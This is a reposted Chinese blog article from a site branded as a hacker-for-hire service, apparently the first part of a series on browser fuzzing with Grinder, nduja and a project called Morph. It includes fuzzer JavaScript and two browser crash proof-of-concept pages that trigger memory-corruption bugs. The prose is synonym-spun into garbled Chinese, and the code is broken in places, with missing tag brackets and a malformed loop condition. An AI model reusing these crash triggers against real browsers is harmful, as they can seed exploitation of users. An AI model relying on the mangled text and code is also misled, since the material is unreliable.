当前位置:首页 > 网络安全 > 正文内容

从零开始学Fuzzing系列:带领nduja打破Grinder的壁垒

访客4年前 (2021-04-15)网络安全428

四年前开源的Grinder项目,和借助于它运转的nduja,着实让浏览器缝隙发掘飞入了寻常百姓家。但随着时刻的检测,Grinder也遇到了让人爱恨交加的为难:分明发生了Crash,可便是无法重现。有多少人和我相同,从初识Grinder的激动,到别离时的落寞,也见证了一代怀揣愿望的挖洞人的脚印。
在现有项目的基础上,对其进行改善,乃是一种前进,所以呈现了Morph项目。
Morph起先的定位便是处理Grinder架构中存在的实质问题:样本无法安稳重现,所以才有了前面《浏览器发掘结构Morph诞生记》中叙述的“静态随机数组”的测验,但随之带来的并发症却是:样本难以精简。
本文正是为处理这个问题而发生的,笔者选用一种Grinder log静态化的办法,将本来Grinder中选用DLL注入截获log句子的办法改善为提早生成静态精简样本的办法,从根本上处理样本无法安稳重现和难以精简两大难题,为浏览器缝隙发掘作业供给新的思路。
0×01 咱们需求什么格局的样本?
前面《浏览器发掘结构Morph诞生记》中介绍过一种“静态随机数组”办法,用来处理Grinder log记载简单呈现样本无法安稳重现的问题。笔者在开宣布Morph v0.2.5之后进行了大规模布置测验,也得到了一些能够安稳重现的Crash成果,但拿到样本想进一步剖析时,却遇到了难题。得到的Crash样本是如下方式的HTML文档:
html>
head>
script type='text/javascript'>
var mor_array = [675, 142, 861, 226, 112, 157, 667, ...... 147, 368, 10, 1];//元素个数有或许上万个
var mor_index = 0 ;
// Pick a random number between 0 and X
function rand( x ){
  index = (mor_index++) % (mor_array.length);
  return mor_array[index] % x;
}
function R(mod) {
  return rand(10000) % mod;
}
......
function tweakattributes(elem,i){
  for( var p in elem){//这儿的循环要顺次调用上面的mor_array数组中的元素
    try {
        r=rand_item(interesting_vals);
        elem.setAttribute(p,r);
    }
    catch (exception) {}
  }
}
......
function buildElementsTree(){
    elementTree=[];
    for (k=0;k200;k++){//这儿的循环要顺次调用上面的mor_array数组中的元素
      r=rand_item( elements );
      elementTree[k]=document.createElement(r);
      elementTree[k].id="el"+k;
      rb=R(document.all.length);
      document.all[rb].appendChild(elementTree[k]);
      tweakattributes(elementTree[k],k);
    }
  }
}
function morph_fuzz()
{
  buildElementsTree();
  ...... 
}
script>
head>
body onload="morph_fuzz()">body>
html>
要想在上述样本中定位到是哪个js句子终究导致crash,有必要顺次读取静态数组,一步步调试履行buildElementsTree和tweakattributes函数中的for循环,拆解得到相关js句子。并且该句子有或许与之前循环的某个句子还有联络,有必要将两者或更多的句子都定位出来才干得到完好的POC样本。
清楚明了,如此剖析起来,是极端繁琐的。用一句话描述这些样本:食之无味,弃之可惜。
那咱们究竟需求什么格局的样本呢?搞过浏览器缝隙剖析的人员都知道,往常剖析的POC都是这样的:
html>
head>
script>
function exploit()
{
 var e0 = null;
 var e1 = null;
 var e2 = null;
 try {
  e0 = document.getElementById("a");
  e1 = document.createElement("div");
  e2 = document.createElement("q");
  e1.applyElement(e2);
  e1.appendChild(document.createElement('button'));
  e1.applyElement(e0);
  e2.innerHTML = "";
  e2.appendChild(document.createElement('body'));
 }catch(e){ }
 CollectGarbage();
}
script>
head>
body onload="exploit()">
form id="a">form>
body>
html>
略微盯梢调试即可确认crash发生的原因。别的,用Grinder成功重现出Crash样本的童鞋也知道,得到的POC样本一般都是这种格局:
html>
body>body>
script>var createdObjects={}
var c = document.createElement("CANVAS")
c.width = 1000
c.height = 1000
document.body.appendChild(c)
var img = new Image()
img.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAMAAACdt4HsAAAANlBMVEX///+6v8a2u8PKztPAxcu7wMf4+fm0ucH =="
try{ ctx = c.getContext("2d")} catch(e){}
try{ HTML0= document.createElement("MENU")} catch(e){}
try{ createdObjects["HTML0"]=HTML0} catch(e){}
try{ document.body.appendChild(HTML0)} catch(e){}
try{ P0= new Path2D()} catch(e){}
try{ createdObjects["P0"]=P0} catch(e){}
try{ ctx.height="36191.05884594913180334528604"} catch(e){}
try{ delete createdObjects['HTML0']} catch(e){}
try{ ctx.translate(-0.9872812044341117,0)} catch(e){}
try{ ctx.getLineDash()} catch(e){}
try{ CollectGarbage()} catch(e){}

[1] [2] [3] [4]  黑客接单网

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/105866.html

分享给朋友:

“从零开始学Fuzzing系列:带领nduja打破Grinder的壁垒” 的相关文章

立秋是几月几日

说到立秋,大家可能还会觉得比较远,确实算一下也还有将近一个月的时间,大家知道今年的立秋是在什么时候吗,具体的时间是2020年8月7日09:06:03,星期五,农历六月十八,因此在这一天大家就可以吃很多的美食,那么接下来大家就随百思特小编一起了解看看~   立秋是几月...

洗米华小三(浅谈米花三笑的微博)

据长江网2021年11月26日23:49:22的最新消息,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,洗米华小三。猜测这是洗米华在暗中帮助着Mandy。挺想看他老婆小三都抛弃他的场面。 1.洗米华小三 m...

干洗对衣物有害吗

干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

安宫牛黄丸 - 北京同仁堂安宫牛黄丸

能降低惊厥和死亡率,天然牛黄天然麝香。对突然脑埂塞,并且只有北京同仁堂生产的安宫牛黄丸才可以使用,北京同仁堂集团顾问金霭英老人说,局方至宝丹、与作用是清热解毒。 4月30之前是350元.重镑产品,公元1541年。平时还是要遵医嘱服用适合自己的降压药。同仁堂的安宫牛黄丸使用的是老方子,黄芩。 北京同仁...

Webshell安全检测篇(1)-根据流量的检测方法

一、概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分类笔者总结如下: 前段时...

二手路虎极光 「2015路虎极光二手车报价」

样子车而已论性能都有点给路2015虎家族丢脸了感觉如果选择这车还真不如选择霸道VX顶配69万那款实惠推荐其他车的话途锐很好Q7虽然多了点但是很值得考虑一下的这个价位如果讨论轿车的话上不了A8L和,公里数等。火烧。 二手车价格:41点00万,2013极光款2点0T AT圣诞限量版,车子没有。 2015...

评论列表

久隐师
2年前 (2022-06-07)

te(-0.9872812044341117,0)} catch(e){}try{ ctx.getLineDash()} catch(e){}try{ Collect

掩吻路岷
2年前 (2022-06-07)

ete createdObjects['HTML0']} catch(e){}try{ ctx.translate(-0.9872812044341117,0)} catch(e){}try{ ctx.getLineDash()}

酒奴揽月
2年前 (2022-06-07)

截获log句子的办法改善为提早生成静态精简样本的办法,从根本上处理样本无法安稳重现和难以精简两大难题,为浏览器缝隙发掘作业供给新的思路。0×01 咱们需求什么格局的样本?前面《浏览器发掘结构Morph诞生记》中介绍过一种“静态随

蓝殇抌妤
2年前 (2022-06-07)

nerHTML = "";  e2.appendChild(document.createElement('body')); }catch(e){ } CollectGarbage(); } script> head>body

北槐挽鹿
2年前 (2022-06-07)

简单呈现样本无法安稳重现的问题。笔者在开宣布Morph v0.2.5之后进行了大规模布置测验,也得到了一些能够安稳重现的Crash成果,但拿到样本想进一步剖析时

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。